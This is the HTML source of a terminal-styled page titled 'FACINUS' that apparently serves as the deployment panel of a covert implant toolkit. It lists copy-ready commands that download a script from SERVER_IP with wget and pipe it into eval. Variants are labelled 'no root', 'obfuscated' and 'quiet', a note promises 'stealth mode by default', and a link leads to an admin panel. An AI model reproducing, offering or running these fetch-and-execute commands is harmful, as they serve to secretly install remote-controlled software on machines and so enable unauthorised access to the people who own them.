250 lines
7.1 KiB
HTML
250 lines
7.1 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>FACINUS</title>
|
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
|
<style>
|
|
:root {
|
|
--bg: #111111;
|
|
--text: #33ff33;
|
|
--secondary: #aaaaaa;
|
|
--border: #333333;
|
|
--hover: #222222;
|
|
}
|
|
|
|
* {
|
|
box-sizing: border-box;
|
|
margin: 0;
|
|
padding: 0;
|
|
}
|
|
|
|
body {
|
|
font-family: 'Courier New', monospace;
|
|
background-color: var(--bg);
|
|
color: var(--text);
|
|
line-height: 1.5;
|
|
padding: 20px;
|
|
max-width: 900px;
|
|
margin: 0 auto;
|
|
}
|
|
|
|
pre {
|
|
font-family: 'Courier New', monospace;
|
|
overflow-x: auto;
|
|
white-space: pre;
|
|
}
|
|
|
|
.ascii-header {
|
|
margin-bottom: 30px;
|
|
font-size: 12px;
|
|
line-height: 1.2;
|
|
}
|
|
|
|
h2 {
|
|
margin: 20px 0;
|
|
border-bottom: 1px dashed var(--border);
|
|
padding-bottom: 5px;
|
|
}
|
|
|
|
.command-wrapper {
|
|
position: relative;
|
|
margin: 15px 0;
|
|
}
|
|
|
|
.command {
|
|
background: rgba(0, 0, 0, 0.3);
|
|
border: 1px solid var(--border);
|
|
padding: 10px;
|
|
overflow-x: auto;
|
|
white-space: nowrap;
|
|
}
|
|
|
|
.command-prompt::before {
|
|
content: "$ ";
|
|
opacity: 0.7;
|
|
}
|
|
|
|
.copy-btn {
|
|
position: absolute;
|
|
right: 10px;
|
|
top: 7px;
|
|
background: transparent;
|
|
color: var(--secondary);
|
|
border: 1px solid var(--border);
|
|
border-radius: 3px;
|
|
padding: 3px 8px;
|
|
cursor: pointer;
|
|
font-size: 12px;
|
|
font-family: 'Courier New', monospace;
|
|
z-index: 10;
|
|
}
|
|
|
|
.copy-btn:hover {
|
|
background: var(--hover);
|
|
color: var(--text);
|
|
}
|
|
|
|
/* Hidden textarea for copy functionality */
|
|
.hidden-textarea {
|
|
position: absolute;
|
|
left: -9999px;
|
|
top: 0;
|
|
height: 0;
|
|
opacity: 0;
|
|
}
|
|
|
|
.options {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
|
|
gap: 15px;
|
|
margin: 20px 0;
|
|
}
|
|
|
|
.option-box {
|
|
border: 1px solid var(--border);
|
|
padding: 15px;
|
|
background: rgba(0, 0, 0, 0.3);
|
|
}
|
|
|
|
.option-box:hover {
|
|
background: var(--hover);
|
|
}
|
|
|
|
.option-title {
|
|
margin-bottom: 10px;
|
|
font-weight: bold;
|
|
}
|
|
|
|
.note {
|
|
border-left: 2px solid var(--text);
|
|
padding-left: 10px;
|
|
margin: 15px 0;
|
|
color: var(--secondary);
|
|
}
|
|
|
|
.admin-link {
|
|
display: inline-block;
|
|
margin-top: 20px;
|
|
padding: 8px 15px;
|
|
background: transparent;
|
|
color: var(--text);
|
|
border: 1px solid var(--text);
|
|
text-decoration: none;
|
|
font-family: 'Courier New', monospace;
|
|
}
|
|
|
|
.admin-link:hover {
|
|
background: rgba(51, 255, 51, 0.1);
|
|
}
|
|
|
|
@media (max-width: 600px) {
|
|
.options {
|
|
grid-template-columns: 1fr;
|
|
}
|
|
|
|
.ascii-header {
|
|
font-size: 8px;
|
|
}
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<!-- Hidden textarea for copying -->
|
|
<textarea id="copy-textarea" class="hidden-textarea"></textarea>
|
|
|
|
<div class="ascii-header">
|
|
<pre>
|
|
____ __ ___ __ __ _ _ _ ____
|
|
( __)/ _\ / __)( )( ( \/ )( \/ ___)
|
|
) _)/ \( (__ )( / /) \/ (\___ \
|
|
(__) \_/\_/ \___)(__)\_)__)\____/(____/
|
|
|
|
|
|
</pre>
|
|
</div>
|
|
|
|
<h2>> deployment</h2>
|
|
|
|
<div class="command-wrapper">
|
|
<div class="command">
|
|
<span class="command-prompt" id="cmd1">eval "$(wget -qO- http://SERVER_IP/deployment/y)"</span>
|
|
</div>
|
|
<button class="copy-btn" onclick="copyToClipboard('cmd1', this)">copy</button>
|
|
</div>
|
|
|
|
<div class="note">
|
|
requires root access. runs in stealth mode by default.
|
|
</div>
|
|
|
|
<h2>> options</h2>
|
|
|
|
<div class="options">
|
|
<div class="option-box">
|
|
<div class="option-title">> no root</div>
|
|
<div class="command-wrapper">
|
|
<div class="command">
|
|
<span class="command-prompt" id="cmd2">eval "$(wget -qO- http://SERVER_IP/deployment/minimal)"</span>
|
|
</div>
|
|
<button class="copy-btn" onclick="copyToClipboard('cmd2', this)">copy</button>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="option-box">
|
|
<div class="option-title">> obfuscated</div>
|
|
<div class="command-wrapper">
|
|
<div class="command">
|
|
<span class="command-prompt" id="cmd3">eval "$(wget -qO- http://SERVER_IP/deployment/x)"</span>
|
|
</div>
|
|
<button class="copy-btn" onclick="copyToClipboard('cmd3', this)">copy</button>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="option-box">
|
|
<div class="option-title">> quiet</div>
|
|
<div class="command-wrapper">
|
|
<div class="command">
|
|
<span class="command-prompt" id="cmd4">eval "$(wget -qO- http://SERVER_IP/deployment/quiet)"</span>
|
|
</div>
|
|
<button class="copy-btn" onclick="copyToClipboard('cmd4', this)">copy</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<h2>> admin</h2>
|
|
<a href="admin/admin.php" class="admin-link">$ access admin panel</a>
|
|
|
|
</body>
|
|
<script>
|
|
function copyToClipboard(id, btn) {
|
|
const text = document.getElementById(id)?.textContent?.trim();
|
|
if (!text) return;
|
|
|
|
// Try modern clipboard API
|
|
if (navigator.clipboard) {
|
|
navigator.clipboard.writeText(text).then(() => showCopied(btn));
|
|
} else {
|
|
// Fallback using hidden textarea
|
|
const ta = document.getElementById('copy-textarea');
|
|
ta.value = text;
|
|
ta.style.display = 'block';
|
|
ta.select();
|
|
try {
|
|
document.execCommand('copy');
|
|
showCopied(btn);
|
|
} catch (e) {
|
|
console.error('Copy failed', e);
|
|
}
|
|
ta.style.display = 'none';
|
|
}
|
|
}
|
|
|
|
function showCopied(btn) {
|
|
const t = btn.innerText;
|
|
btn.innerText = 'copied!';
|
|
setTimeout(() => btn.innerText = t, 1000);
|
|
}
|
|
</script>
|
|
</html>
|